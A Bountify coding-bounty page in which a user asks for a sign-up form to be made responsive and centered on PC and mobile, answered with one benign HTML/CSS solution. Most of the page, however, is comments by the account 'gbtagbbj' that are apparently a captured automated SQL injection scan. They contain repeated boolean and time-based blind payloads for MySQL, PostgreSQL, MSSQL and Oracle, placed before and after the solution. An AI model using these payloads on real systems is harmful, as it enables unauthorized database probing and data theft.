Get this form to work on a mobile device
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

I don't know Responsive CSS and I don't have time to learn.

I just need to make sure this form is centered and properly sized (and centered) on a PC as well as a mobile device.

LINK UPDATED

https://jsfiddle.net/rxwf0j13/

aZfZrkXM
gbtagbbj 4 months ago
-1 OR 2+605-605-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+605-605-1=0+0+0+1
gbtagbbj 4 months ago
1 RLIKE (SELECT (CASE WHEN (477=477) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
YaofiC41'
gbtagbbj 4 months ago
-5 OR 197=(SELECT 197 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 872=(SELECT 872 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 973=(SELECT 973 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
ksRhjnMP' OR 54=(SELECT 54 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
hFWrHr4i') OR 370=(SELECT 370 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
VQx2A6Gg')) OR 806=(SELECT 806 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
6BLNKL9b
gbtagbbj 4 months ago
-1 OR 2+775-775-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+775-775-1=0+0+0+1
gbtagbbj 4 months ago
RLIKE (SELECT (CASE WHEN (589=589) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
m9jPOFFM'
gbtagbbj 4 months ago
-5 OR 348=(SELECT 348 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 492=(SELECT 492 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 958=(SELECT 958 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
sKfH75XE' OR 609=(SELECT 609 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
NAiqX0eL') OR 595=(SELECT 595 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
r96hRf6d')) OR 357=(SELECT 357 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
4 months ago

Crowdsource coding tasks.

1 Solution


Link to solution demo: https://jsfiddle.net/8utjmy9n/183/

HTML:

<main>
  <section id="form-container">
    <!--Heading and text-->
    <div id="form-header">
      <img src="https://i.imgur.com/E9g5ATI.jpg" />
      <div id="form-header-text">
        <h1>Find your Ikigai!</h1>
        <h2>(your "true calling")</h2>
        <p>
          Download our companion worksheet now!
        </p>
      </div>
    </div>
    <!--Email textbox-->
    <form id="form-content">
      <label for="email-input">Email:</label>
      <input type="email" id="email-input" name="email" value="test@example.com">
    </form>
    <!--Submit button-->
    <div id="btn-wrapper">
      <input id="submit-btn" type="submit" name="submit" value="Download" />
    </div>
  </section>
</main>

CSS:

body {
  margin: 0;
  padding: 0;
  height: 100%;
  width: 100%;
  font-family: sans-serif;
}

main {
  background-color: #f7f7f7;
  width: 100vw;
  height: 100vh;
  display: flex;
  justify-content: center;
  align-items: center;
}

#form-container {
  width: 45%;
  margin: auto;
  display: flex;
  flex-direction: column;
  height: auto;
}

#form-header {
  display: flex;
  flex-direction: row;
  height: 100%;
  margin-bottom: 1rem;
}

#form-header img {
  height: 100%;
  object-fit: cover;
  margin-top: auto;
  margin-bottom: auto;
  margin-right: 0.5rem;
}

#form-header-text {
  display: flex;
  flex-direction: column;
  height: 80%;
  margin-top: auto;
  margin-bottom: auto;
}

#form-header-text > * {
  margin-top: 0;
}

#form-header-text h1 {
  font-size: 1.4em;
  font-weight: bold;
}

#form-header-text h2 {
  font-size: 1em;
  font-weight: bold;
}

#form-header-text p {
  font-size: 0.95em;
  color: grey;
  line-height: 1.25;
}

#form-content {
  display: flex;
  flex-direction: column;
}

#form-content label {
  font-size: 0.8em;
  font-weight: bold;
  margin-bottom: 0.25rem;
}

#form-content input {
  padding: 0.3rem 0.5rem;
  max-width: 20rem;
}

#btn-wrapper {
  margin-top: 1rem;
  max-width: 20rem;
  display: grid;
  place-items: center;
}

#submit-btn {
  border-radius: 0.25rem;
  border: 1px solid rgb(211, 211, 211);
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 0 rgba(0, 0, 0, 0.2);
  background-image: linear-gradient(rgb(235, 235, 235), rgb(190, 190, 190) 85%, rgb(215, 215, 215));
  font-size: 0.8rem;
  font-weight: bold;
  color: rgb(28, 28, 28);
  padding: 0.5rem 1rem;
  margin-left: auto;
  margin-right: auto;
}

#submit-btn:hover {
  background-image: linear-gradient(rgb(190, 190, 190), rgb(190, 190, 190) 85%, rgb(220, 220, 220));
  box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1);
}

/* media queries for responsiveness */

/* small mobile devices */
@media (max-width: 480px) {
  #form-container {
    width: 80%;
  }
}

/* smaller tablets */
@media (min-width: 481px) and (max-width: 767px) {
  #form-container {
    width: 60%;
  }
}
-1 OR 2+726-726-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+726-726-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+498-498-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+498-498-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+95-95-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+95-95-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+372-372-1=0+0+0+1 or 'ZWPX1hyp'='
gbtagbbj 4 months ago
-1' OR 3+372-372-1=0+0+0+1 or 'ZWPX1hyp'='
gbtagbbj 4 months ago
-1" OR 2+451-451-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+451-451-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
hWy2ATf6'
gbtagbbj 4 months ago
YCImX4bf' OR 855=(SELECT 855 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
yXrQzJSG') OR 86=(SELECT 86 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
nQ8Mj3kA')) OR 881=(SELECT 881 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
e'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
-1 OR 2+336-336-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+336-336-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+207-207-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+207-207-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+816-816-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+816-816-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+353-353-1=0+0+0+1 or 'XZN789FZ'='
gbtagbbj 4 months ago
-1' OR 3+353-353-1=0+0+0+1 or 'XZN789FZ'='
gbtagbbj 4 months ago
-1" OR 2+273-273-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+273-273-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
UPkHYG6i'
gbtagbbj 4 months ago
-5 OR 804=(SELECT 804 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 847=(SELECT 847 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 259=(SELECT 259 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
3JNIfUeH' OR 115=(SELECT 115 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
hbfyJdtG') OR 209=(SELECT 209 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
9JHPU8xi')) OR 912=(SELECT 912 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
GZDzG8Zf
gbtagbbj 4 months ago
-1 OR 2+593-593-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+593-593-1=0+0+0+1
gbtagbbj 4 months ago
RLIKE (SELECT (CASE WHEN (986=986) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
LLjxZqi7'
gbtagbbj 4 months ago
-5 OR 832=(SELECT 832 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 830=(SELECT 830 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 787=(SELECT 787 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
bP1xyJqz' OR 700=(SELECT 700 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
DirQDt4P') OR 326=(SELECT 326 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
7vd5dmUW')) OR 297=(SELECT 297 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago